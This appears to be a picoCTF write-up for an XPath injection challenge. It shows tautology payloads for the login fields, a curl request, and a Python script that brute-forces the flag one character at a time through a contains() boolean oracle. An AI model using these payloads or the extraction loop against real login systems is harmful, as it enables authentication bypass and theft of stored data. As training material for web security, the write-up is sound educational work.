Description
There is a login page. Can you bypass it? The hint says XPath.
Setup
Navigate to the challenge login page.
# Open the challenge URL in your browserSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Test for XPath injection
ObservationThe hint names XPath outright, and the login page takes free-form text. So the backend is embedding user strings straight into an XPath expression, which a mismatched quote will break.Try injecting a single quote in the username field. If the page returns a different error than a normal login failure, the backend is using XPath to look up credentials. A payload like' or 'x'='x(using single quotes to break out of the XPath string) should return a success condition if the injection works.bash# Test injection in the name field: # name: ' or 'x'='x # password: ' or 'x'='xbashcurl -X POST http://<server>/ --data "name=' or 'x'='x&password=' or 'x'='x"What didn't work first
Tried: Try a SQL injection payload like ' OR 1=1 - in the username field
XPath has no equivalent of SQL's comment syntax, so a trailing - never silences the rest of the condition. The parser reads those characters as part of the string, and the query either errors or matches nothing. An XPath tautology has to close with a balanced string instead.
Tried: Submit a double-quote instead of a single quote to test injection: " or "x"="x
XPath string literals take either single or double quotes, but your delimiter has to match the one the application's template used. If the server wraps input in single quotes, injecting double quotes never escapes the literal, and you get an ordinary login failure with no injection at all. Watch how the response changes with a single quote to identify the right delimiter.
Learn more
XPath injection is analogous to SQL injection but targets XML databases queried with XPath expressions. A typical login query looks like:
/users/user[name='INPUT' and password='PASS']Injecting a single quote breaks the XPath string literal. Submitting
' or 'x'='xas the name turns the query into:/users/user[name='' or 'x'='x' and password='pass']Note the operator precedence: XPath binds
andtighter thanor, so this reads asname=''OR ('x'='x'AND the password matches). To make the whole predicate true regardless of the stored password, inject the same tautology into the password field as well. The other building block iscontains(., 'str'), which tests whether the current node's string value contains a substring; that is what turns the login form into a data-extraction oracle in the next step.Step 2Brute-force the flag character by character
ObservationThe server returns a distinct success message only when the injected payload matches, which is a boolean oracle. XPath's contains() then extracts the flag one character at a time in an automated loop.Once injection is confirmed, use the contains() XPath function to test whether the flag contains a given prefix. Automate this with a Python script that adds one character at a time and checks the server response for 'You are on the right path'.pythonpython3 << 'EOF' import requests url = "http://<server>/" flag = "picoCTF{" chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}" while True: found = False for c in chars: guess = flag + c # Inject: ' or contains(.,'picoCTF{h') or 'x'='X payload = f"' or contains(.,'{guess}') or 'x'='X" r = requests.post(url, data={"name": payload, "password": "pass"}) if "right path" in r.text: flag = guess print(f"Flag so far: {flag}") found = True if c == "}": print(f"Flag: {flag}") exit() break if not found: print("No character matched. Done.") break EOFExpected output
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_...}What didn't work first
Tried: Use starts-with() instead of contains() in the brute-force payload
starts-with() would work for prefix extraction too, and contains() succeeds here because the script always grows from the known picoCTF{ anchor, which keeps the substring unique. The danger is using contains() without that anchor: a bare character matches anywhere in any node's text, giving false positives from usernames or passwords stored in the same XML document.
Tried: Check for the success string 'You are on the right path' with an exact case-sensitive match in the script
If the script checks case-sensitively for a phrase and the server actually returns a different capitalization or wording, the oracle reads false every time and the flag never grows. Print the response body for the first few requests to confirm the exact success string before automating.
Learn more
Why contains() works here. The XPath
contains(., 'prefix')returns true if the current node's string value contains the given string anywhere within it. Because the script always grows the candidate from left to right (starting from the knownpicoCTF{prefix), every successful guess uniquely extends the prefix, makingcontains()an effective character-by-character oracle even though it is not a strict prefix check. (The XPath function for prefix-only testing isstarts-with().) The server says either "you are on the right path" (the extended prefix is found) or "login failure" (wrong character), reducing the search from exponential to linear in the flag length.XPath vs SQL injection. XPath injection is less common than SQL injection because XML databases are less common than relational databases, but the attack pattern is identical: break out of a string literal, inject a boolean expression, and use the application's response as an oracle. XPath has no comment syntax equivalent to SQL's
--, so the closing condition must be balanced with a tautology likeor 'x'='x.
Interactive tools
- URL Encoder / DecoderEncode and decode URL-encoded (percent-encoded) strings. Useful for web exploitation challenges involving query parameters, form data, and HTTP headers.
Flag
Reveal flag
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_...}
XPath injection uses the contains() function to brute-force flag characters one at a time, using the server response as a boolean oracle.